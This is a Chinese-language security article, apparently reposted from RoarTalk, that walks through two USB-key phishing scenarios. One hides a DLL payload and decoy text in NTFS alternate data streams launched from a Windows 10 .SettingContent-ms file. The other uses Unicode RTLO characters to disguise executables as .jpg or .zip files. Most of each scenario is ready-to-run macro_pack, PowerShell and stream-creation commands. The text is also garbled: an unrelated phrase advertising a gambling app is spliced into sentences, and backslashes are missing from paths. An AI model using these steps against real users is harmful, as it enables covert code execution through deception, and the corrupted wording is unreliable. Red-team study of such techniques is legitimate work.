當前位置:
首頁 > 新聞 > 高級USB key釣魚攻擊的三種攻擊場景(二)

高級USB key釣魚攻擊的三種攻擊場景(二)

前言

前面,我已經向大家介紹了高級USB key釣魚攻擊三種攻擊場景中的第一種場景,今天我接著介紹後兩種。

攻擊場景二

假如攻擊的目標系統是MS Windows 10,且利用的是SettingContent-ms文件進行攻擊。SpecterOps的利發國際手機客戶端研究員Matt Nelson發現Windows 10中添加的一種文件類型格式可以被攻擊者利用,在用戶利發國際手機客戶端機上執行惡意代碼。這種文件類型為".SettingContent-ms",這是Windows 10在2015年引入的文件格式。這種文件類型是用來在windows 10設置頁面創建快捷方式的。

攻擊策略

在這個攻擊策略中,我計劃誘導攻擊目標打開「README.txt」文件,而實際上它只是個誘導文件,真正正在運行的是惡意的settingcontent-ms文件。

因為settingcontent-ms文件遵循嚴格的XML模式,所以不可能像我在模擬測試一中使用惡意快捷方式一樣,將它們嵌入在HTA文件中。不過,我可以使用NTFS的交換數據流(alternate data streams,簡稱ADS)來隱藏並運行DLL載荷。

此settingcontent-ms文件將執行隱藏在交換數據流(README.txt.settingcontent-ms:R)中的DLL,同時settingcontent-ms文件將運行Notepad以顯示存儲的另一個ADS中的誘導文本(README.txt.settingcontent-ms:T.txt )。

setupcontent-ms文件的好處是它們沒有像LNK或URI文件那樣的快捷箭頭。

構建誘導文本文件

我會首先創建一個簡單的文本文件,其中包含我希望在目標文件中打開readme時在Notepad中顯示的文本。

echo "This is a simple README file." > Text.txt

構建惡意設置快捷方式文件

我可以使用macro_pack生成settincontent-ms文件,例如,要生成一個錯誤的README.txt文件,該文件就會啟動一個運行calc的命令行:

echo "C:windowssystem32cmd.exe /c calc.exe" "." | macro_pack.exe -G README.txt.settingcontent-ms

不過我真正想要的是啟動有效載荷,DLL和誘導文件將隱藏在USB key的NTFS文件系統中的交換數據流中。我遇到的問題是setcontent-ms文件默認只在「C:windowssystem32」中打開,這意味著我必須找到USB key所對應的卷標。本文,我使用的是powershell,不過也可能還有其他方法。

以下就是我想要執行的命令行:

%windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType="2"").Name;Start-Process "notepad.exe" "$driveREADME.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$driveREADME.txt.settingcontent-ms:R"

該命令行能完成的操作有:

1.調用wmi找到USB key所對應的卷標,並將其放入$drive變數;

2.啟動notepad,以在README.txt.settingcontent-ms:T.txt中打開誘導文本文件;

3.啟動control.exe,以在README.txt.settingcontent-ms:R中載入DLL有效載荷;

請注意,此時,你也可以像在模擬測試一中那樣使用rundll32載入DLL,但是我覺得還有其他更好的方案。

README.txt.settingcontent-ms文件最終如下所示:

windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel

%windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType="2"").Name;Start-Process "notepad.exe" "$driveREADME.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$driveREADME.txt.settingcontent-ms:R"

.

@shell32.dll,-4161

@shell32.dll,-4161

創建交換數據流

首先,你必須確保USB key已使用NTFS文件系統格式化,然後將README.txt.settingcontent-ms文件複製到NTFS USB key中。在這個例子中,USB key所的卷標為「G:」,現在開始創建交換數據流。

首先創建包含DLL的README.txt.settingcontent-ms:R流:

type payload.dll > G:README.txt.settingcontent-ms:R

其次創建包含誘導文本的G:README.txt.settingcontent-ms:T.txt流:

type Text.txt > G:README.txt.settingcontent-ms:T.txt

最後使用streams工具檢查USB key上所創建的交換數據流,streams是一個查找文件是否有數據流文件寄存的工具。

注意:如果在USB key上編輯並保存README.txt.settingcontent-ms,則與文件關聯的交換數據流將丟失,你也需要重複執行上述的兩個命令。

模擬攻擊

將USB key插入另一台Windows 10計算機後,雙擊「README.txt」。此時,你應該看到可以看到DLL被成功載入,並且notepad也自動打開,展示「This is a simple README file. 」的文本信息。

攻擊場景三

利用Unicode RTLO模擬攻擊,假設目標系統是MS Windows以及其他系統。

攻擊策略

在這個模擬測試中,我將通過注入Unicode Right-To-Left-Overrive(RTLO)字元來偽裝文件的擴展名。據了解,「RTLO」字元全名為「RIGHT-TO-LEFTOVERRIDE」,是一個不可顯示的控制類字元,其本質是unicode字元。「RTLO」字元可使電腦將任意語言的文字內容按倒序排列,最初是用來支持一些從右往左寫的語言的文字,比如阿拉伯語,希伯來語。由於它可以重新排列字元的特性,會被不法分子利用從而達到欺騙目標,使得用戶運行某些具有危害性的可執行文件。例如,通過將Windows自帶的記事本notepad.exe程序重命名,先插入「RTLO」字元,加上「txt.exe」,最後就能成功偽裝出一個「exe.txt」的普通文檔,但文件仍是exe可執行文件。

在本例中,我使用了帶有錯誤「.jpg」擴展名的macro_pack生成運行calc的HTA文件。

echo calc.exe | macro_pack.exe -t CMD -G calc.hta --unicode-rtlo=jpg

在資源管理器中,文件將顯示為「calcath.jpg」,實際上它是按著「calc [rtlo] gpj.hta」運行的。

這種方法很有趣,也適用於其他操作系統,如Ubuntu。它也可能適用於其他應用程序,如郵件客戶端等。

模擬攻擊

目前有多種方法可以利用unicode RTLO進行網路釣魚攻擊,一種可能性是將惡意exe文件偽裝成zip文件,例如,更改文件圖標並應用RTLO,此時文件名看起來以.zip結束。

此時,當用戶單擊假的zip文件時,exe將運行有效載荷並打開隱藏在文件資源或交換數據流中的誘導zip文檔。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

如何在Microsoft Translator中越權刪除1.3萬個項目
加密貨幣挖礦殭屍通過潛在的垃圾網站攻擊運行SSH服務的設備

TAG:嘶吼RoarTalk |